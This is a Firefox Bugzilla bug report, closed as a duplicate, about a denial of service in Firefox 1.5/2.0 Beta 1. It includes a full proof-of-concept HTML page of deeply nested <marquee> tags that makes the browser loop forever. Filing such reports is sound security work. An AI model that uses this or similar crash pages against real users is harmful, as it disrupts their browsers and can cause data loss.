Closed Bug 344577 Opened 18 years ago Closed 18 years ago

DoS attack while browsing site with <marquee> HTML tag

Categories

(Firefox :: Security, defect)

Product:
Firefox
Component:
Security
Type:
defect
Priority:
Not set
Severity:
critical

Tracking

()

Status:
RESOLVED DUPLICATE of bug 339954

People

(Reporter: al4321, Unassigned)

Details

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Build Identifier: FireFox 2.0 BETA 1 Try to open any HTML file with lots of HTML <marquee> commands, and your browser goes infinite loop. sample code that loops FireFox: ================================================================================= <html> <head> <title>Credit to n00b..</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> </head> <body> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee> <marquee><marquee><marquee><marquee></marquee></marquee></marquee></marq uee></marquee></marquee></marquee></marquee></marquee></marquee></marque e></marquee></marquee></marquee></marquee></marquee></marquee></marquee> </marquee></marquee></marquee></marquee></marquee></marquee></marquee></ marquee></marquee></marquee></marquee></marquee></marquee></marquee></ma rquee></marquee></marquee></marquee></marquee></marque e></marquee></marquee></marquee></marquee></marquee></marquee></marquee> </marquee></marquee></marquee></marquee></marquee></marquee></marquee></ marquee></marquee></marquee></marquee></marquee></marquee></marquee></ma rquee></marquee></marquee></marquee></marquee></marquee></marquee></marq uee></marquee> </body> </html> Reproducible: Always Steps to Reproduce: 1.open any HTML file containing many <marque> tags 2. 3. Actual Results: FireFox (including latest 1.5.0.4 and 2.0 BETA 1) loops forever. Expected Results: should exit from loop without data loss.
Please search before filing a bug. *** This bug has been marked as a duplicate of 339954 ***
Status: UNCONFIRMED → RESOLVED
Closed: 18 years ago
Resolution: --- → DUPLICATE
You need to log in before you can comment on or make changes to this bug.